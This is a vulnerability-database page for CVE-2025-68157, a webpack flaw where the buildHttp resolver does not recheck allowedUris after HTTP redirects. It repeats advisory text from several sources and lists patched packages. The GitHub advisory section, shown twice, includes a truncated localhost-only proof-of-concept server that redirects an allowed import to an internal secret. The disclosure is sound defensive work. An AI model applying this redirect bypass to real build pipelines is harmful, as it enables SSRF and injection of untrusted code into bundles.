CVE-2025-68157
webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects
Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- Low
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
3.7
webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects
Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.
- Record
CVE-2025-68157- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2025-206880
3.7
Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.
- Record
EUVD-2025-206880- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-38r7-794h-5758
3.7
webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence
Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.
Details
In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.
Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.
<img width="1648" height="461" alt="image" src="https://github.com/user-attachments/assets/bb25f3ff-1919-49f9-951b-ad50bf0c7524" />
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-ssrf-poc && cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";
const http = require("http");
const url = require("url");
const allowedPort = 9000;
const internalPort = 9100;
const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`;
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
`export const secret = ${JSON.stringify(secret)};\n` +
`export default "ok";\n`;
function start(port, handler) {
return new Promise(resolve => {
const s = http.createServer(handler);
s.listen(port, "127.0.0.1", () => resolve(s));
});
}
(async () => {
// Internal-only service (SSRF target)
await start(internalPort, (req, res) => {
if (req.url === "/secret.js") {
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(internalPayload);
console.log(`[internal] 200 /secret.js served (secret=${secret})`);
return;
}
res.statusCode = 404;
res.end("not found");
});
// Allowed host (redirector)
await start(allowedPort, (req, res) => {
const parsed = url.parse(req.url, true);
if (parsed.pathname === "/redirect.js") {
const to = parsed.query.to || internalUrlDefault;
// Safety guard: only allow redirecting to localhost internal service in this PoC
if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) {
res.statusCode = 400;
res.end("to must be internal-only in this PoC");
console.log(`[allowed] blocked redirect to: ${to}`);
return;
}
res.statusCode = 302;
res.setHeader("Location", to);
res.end("redirecting");
console.log(`[allowed] 302 /redirect.js -> ${to}`);
return;
}
res.statusCode = 404;
res.end("not found");
});
console.log(`\nServer running:`);
console.log(`- allowed host: …
- Record
GHSA-38r7-794h-5758- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
3.7
Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.
- Record
CVE-2025-68157- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
3.7
webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects
Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.
- Record
CVE-2025-68157- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2025-68157
3.7
Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.
- Record
DEBIAN-CVE-2025-68157- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
Show 11 moreShow less
OSVGHSA-38r7-794h-5758
3.7
webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence
Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.
Details
In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.
Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.
<img width="1648" height="461" alt="image" src="https://github.com/user-attachments/assets/bb25f3ff-1919-49f9-951b-ad50bf0c7524" />
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-ssrf-poc && cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";
const http = require("http");
const url = require("url");
const allowedPort = 9000;
const internalPort = 9100;
const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`;
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
`export const secret = ${JSON.stringify(secret)};\n` +
`export default "ok";\n`;
function start(port, handler) {
return new Promise(resolve => {
const s = http.createServer(handler);
s.listen(port, "127.0.0.1", () => resolve(s));
});
}
(async () => {
// Internal-only service (SSRF target)
await start(internalPort, (req, res) => {
if (req.url === "/secret.js") {
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(internalPayload);
console.log(`[internal] 200 /secret.js served (secret=${secret})`);
return;
}
res.statusCode = 404;
res.end("not found");
});
// Allowed host (redirector)
await start(allowedPort, (req, res) => {
const parsed = url.parse(req.url, true);
if (parsed.pathname === "/redirect.js") {
const to = parsed.query.to || internalUrlDefault;
// Safety guard: only allow redirecting to localhost internal service in this PoC
if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) {
res.statusCode = 400;
res.end("to must be internal-only in this PoC");
console.log(`[allowed] blocked redirect to: ${to}`);
return;
}
res.statusCode = 302;
res.setHeader("Location", to);
res.end("redirecting");
console.log(`[allowed] 302 /redirect.js -> ${to}`);
return;
}
res.statusCode = 404;
res.end("not found");
});
console.log(`\nServer running:`);
console.log(`- allowed host: …
- Record
GHSA-38r7-794h-5758- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2025-68157
3.7
Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.
- Record
UBUNTU-CVE-2025-68157- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
OSVCLSA-2026-1772496681 No score
TuxCare security update for webpack (2 CVEs)
TuxCare rebuilt webpack to address 2 CVEs. Fixed in 5.94.0-tuxcare.3.
- Record
CLSA-2026-1772496681- Updated
- 2026-11-02
OSVCLSA-2026-1775521839 No score
TuxCare security update for webpack (3 CVEs)
TuxCare rebuilt webpack to address 3 CVEs. Fixed in 5.88.2-tuxcare.1.
- Record
CLSA-2026-1775521839- Updated
- 2026-11-02
OSVCLSA-2026-1776645368 No score
TuxCare security update for webpack (2 CVEs)
TuxCare rebuilt webpack to address 2 CVEs. Fixed in 5.76.1-tuxcare.5.
- Record
CLSA-2026-1776645368- Updated
- 2026-11-02
OSVCLSA-2026-1776645369 No score
TuxCare security update for webpack (1 CVE)
TuxCare rebuilt webpack to address 1 CVE. Fixed in 5.50.0-tuxcare.4.
- Record
CLSA-2026-1776645369- Updated
- 2026-11-02
OSVCLSA-2026-1781484848 No score
TuxCare security update for webpack (2 CVEs)
TuxCare rebuilt webpack to address 2 CVEs. Fixed in 5.55.0-tuxcare.1.
- Record
CLSA-2026-1781484848- Updated
- 2026-11-02
OSVCLSA-2026-1790866203 No score
TuxCare security update for webpack (3 CVEs)
TuxCare rebuilt webpack to address 3 CVEs. Fixed in 5.82.1-tuxcare.1.
- Record
CLSA-2026-1790866203- Updated
- 2026-11-02
OSVCLSA-2026-1792446138 No score
TuxCare security update for webpack (2 CVEs)
TuxCare rebuilt webpack to address 2 CVEs. Fixed in 5.99.8-tuxcare.1.
- Record
CLSA-2026-1792446138- Updated
- 2026-11-02
OSVCLSA-2026-1792490709 No score
TuxCare security update for webpack (2 CVEs)
TuxCare rebuilt webpack to address 2 CVEs. Fixed in 5.99.9-tuxcare.1.
- Record
CLSA-2026-1792490709- Updated
- 2026-11-02
OSVCLSA-2026-1792491756 No score
TuxCare security update for webpack (2 CVEs)
TuxCare rebuilt webpack to address 2 CVEs. Fixed in 5.98.0-tuxcare.1.
- Record
CLSA-2026-1792491756- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
webpacknpm |
5.49.0 up to 5.104.0 | 5.104.0 |
webpackTuxCare:npm From an advisory covering 2 CVEs |
5.94.0-tuxcare.0 up to 5.94.0-tuxcare.3, plus listed versions 5.94.05.94.0-tuxcare.15.94.0-tuxcare.2 |
5.94.0-tuxcare.3 |
webpackTuxCare:npm From an advisory covering 3 CVEs |
5.88.2-tuxcare.0 up to 5.88.2-tuxcare.1, plus listed versions 5.88.2 |
5.88.2-tuxcare.1 |
webpackTuxCare:npm From an advisory covering 2 CVEs |
5.76.1-tuxcare.0 up to 5.76.1-tuxcare.5, plus listed versions 5.76.15.76.1-tuxcare.15.76.1-tuxcare.25.76.1-tuxcare.35.76.1-tuxcare.4 |
5.76.1-tuxcare.5 |
webpackTuxCare:npm |
5.50.0-tuxcare.0 up to 5.50.0-tuxcare.4, plus listed versions 5.50.05.50.0-tuxcare.15.50.0-tuxcare.25.50.0-tuxcare.3 |
5.50.0-tuxcare.4 |
webpackTuxCare:npm From an advisory covering 2 CVEs |
5.55.0-tuxcare.0 up to 5.55.0-tuxcare.1, plus listed versions 5.55.0 |
5.55.0-tuxcare.1 |
webpackTuxCare:npm From an advisory covering 3 CVEs |
5.82.1-tuxcare.0 up to 5.82.1-tuxcare.1, plus listed versions 5.82.1 |
5.82.1-tuxcare.1 |
webpackTuxCare:npm From an advisory covering 2 CVEs |
5.99.8-tuxcare.0 up to 5.99.8-tuxcare.1, plus listed versions 5.99.8 |
5.99.8-tuxcare.1 |
webpackTuxCare:npm From an advisory covering 2 CVEs |
5.99.9-tuxcare.0 up to 5.99.9-tuxcare.1, plus listed versions 5.99.9 |
5.99.9-tuxcare.1 |
webpackTuxCare:npm From an advisory covering 2 CVEs |
5.98.0-tuxcare.0 up to 5.98.0-tuxcare.1, plus listed versions 5.98.0 |
5.98.0-tuxcare.1 |
Show 10 moreShow less
| Package | Affected | Fixed |
|---|---|---|
node-webpackDebian:12 |
All versions, plus listed versions 5.105.4+dfsg1+~cs15.13.23-15.105.4+dfsg1+~cs15.13.23-25.105.4+dfsg1+~cs15.13.23-35.106.2+dfsg1+~cs15.15.23-15.106.2+dfsg1+~cs15.15.23-2 Show 20 moreShow less5.106.2+dfsg1+~cs15.15.23-35.107.2+dfsg1+~cs15.16.25-15.107.2+dfsg1+~cs15.16.25-1.15.107.2+dfsg1+~cs15.16.25-25.108.0+dfsg1+~cs14.7.20-15.108.0+dfsg1+~cs14.7.20-25.108.0+dfsg1+~cs14.7.20-35.75.0+dfsg+~cs17.16.14-15.75.0+dfsg+~cs17.16.14-1+deb12u15.76.1+dfsg1+~cs17.16.16-15.76.1+dfsg2+~cs10.8.15-25.76.1+dfsg2+~cs10.8.15-35.94.0+dfsg1+~cs11.18.26-15.94.0+dfsg1+~cs11.18.26-25.95.0+dfsg1+~cs11.18.26-15.96.1+dfsg1+~cs11.18.26-15.97.1+dfsg1+~cs11.18.27-15.97.1+dfsg1+~cs11.18.27-25.97.1+dfsg1+~cs11.18.27-35.97.1+dfsg1+~cs11.18.27-4 |
None known |
node-webpackDebian:13 |
All versions, plus listed versions 5.105.4+dfsg1+~cs15.13.23-15.105.4+dfsg1+~cs15.13.23-25.105.4+dfsg1+~cs15.13.23-35.106.2+dfsg1+~cs15.15.23-15.106.2+dfsg1+~cs15.15.23-2 Show 9 moreShow less5.106.2+dfsg1+~cs15.15.23-35.107.2+dfsg1+~cs15.16.25-15.107.2+dfsg1+~cs15.16.25-1.15.107.2+dfsg1+~cs15.16.25-25.108.0+dfsg1+~cs14.7.20-15.108.0+dfsg1+~cs14.7.20-25.108.0+dfsg1+~cs14.7.20-35.97.1+dfsg1+~cs11.18.27-35.97.1+dfsg1+~cs11.18.27-4 |
None known |
node-webpackDebian:14 |
before 5.105.4+dfsg1+~cs15.13.23-2, plus listed versions 5.105.4+dfsg1+~cs15.13.23-15.97.1+dfsg1+~cs11.18.27-35.97.1+dfsg1+~cs11.18.27-4 |
5.105.4+dfsg1+~cs15.13.23-2 |
node-webpackUbuntu:18.04:LTS |
All versions, plus listed versions 3.5.6-1build33.5.6-1build43.5.6-2 |
None known |
node-webpackUbuntu:20.04:LTS |
All versions, plus listed versions 4.7.0-34.30.0-74.30.0-9 |
None known |
node-webpackUbuntu:22.04:LTS |
All versions, plus listed versions 4.43.0-6build44.43.0-7 |
None known |
node-webpackUbuntu:24.04:LTS |
All versions, plus listed versions 5.76.1+dfsg1+~cs17.16.16-1 |
None known |
node-webpackUbuntu:25.10 |
All versions, plus listed versions 5.97.1+dfsg1+~cs11.18.27-25.97.1+dfsg1+~cs11.18.27-3 |
None known |
node-webpackUbuntu:26.10 |
All versions, plus listed versions 5.105.4+dfsg1+~cs15.13.23-25.108.0+dfsg1+~cs14.7.20-2 |
None known |
node-webpackUbuntu:26.04:LTS |
All versions, plus listed versions 5.97.1+dfsg1+~cs11.18.27-35.97.1+dfsg1+~cs11.18.27-45.105.4+dfsg1+~cs15.13.23-2 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-68157 is a low vulnerability (CVSS 3.7) in Webpack, published February 5, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.23%, the 13th percentile. Fixed in webpack 5.104.0.
References
github.com/webpack/webpack/security/advisories/GHSA-38r7-794h-5758
nvd.nist.gov/vuln/detail/CVE-2025-68157
github.com/advisories/GHSA-38r7-794h-5758
github.com/CVEProject/cvelistV5/tree/main/cves/2025/68xxx/CVE-2025-68157.json
security-tracker.debian.org/tracker/CVE-2025-68157
github.com/webpack/webpack
ubuntu.com/security/CVE-2025-68157
cve.org/CVERecord?id=CVE-2025-68157
Left out here: the rest of 2 source descriptions. The JSON record has them.